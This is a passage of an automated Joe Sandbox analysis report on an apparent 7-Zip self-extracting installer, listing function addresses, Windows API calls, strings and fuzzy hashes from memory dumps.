Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
_wcsnicmp.MSVCRT ref: 00404527

Strings

ExecuteFile, xrefs: 00404505

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: ExecuteFile
API String ID: 2823567412-323923146
Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6

Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
GetProcAddress.KERNEL32(00000000), ref: 004026C5

Strings

kernel32, xrefs: 004026B9
Wow64RevertWow64FsRedirection, xrefs: 004026B4

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E

Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
GetProcAddress.KERNEL32(00000000), ref: 004026F7

Strings

kernel32, xrefs: 004026EB
Wow64DisableWow64FsRedirection, xrefs: 004026E6

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F

Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
??2@YAPAXI@Z.MSVCRT(00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 00412770
memcpy.MSVCRT(00000000,00A3C5D0,00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?), ref: 00412799
??3@YAXPAX@Z.MSVCRT(00A3C5D0,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 004127A4

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
Opcode Fuzzy Hash: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
GetSystemMetrics.USER32(00000031), ref: 0040784B
CreateFontIndirectW.GDI32(?), ref: 0040785A
DeleteObject.GDI32(00000000), ref: 00407889

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55

Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00408D3B
GetClientRect.USER32(?,?), ref: 00408D4D
PtInRect.USER32(?,?,?), ref: 00408D5C

Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771

CallNextHookEx.USER32(?,?,?), ref: 00408D7E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?,?,?,0041A834,0041A83C), ref: 0040445E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041A834,0041A83C), ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT(?), ref: 0040447E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B937

Strings

$A, xrefs: 0040B99D
$A, xrefs: 0040B9B5

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT(?,00000011,?,00000000,0041B828,?), ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040867A
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004086A2

Strings

(%d%s), xrefs: 00408674

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
Opcode Fuzzy Hash: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

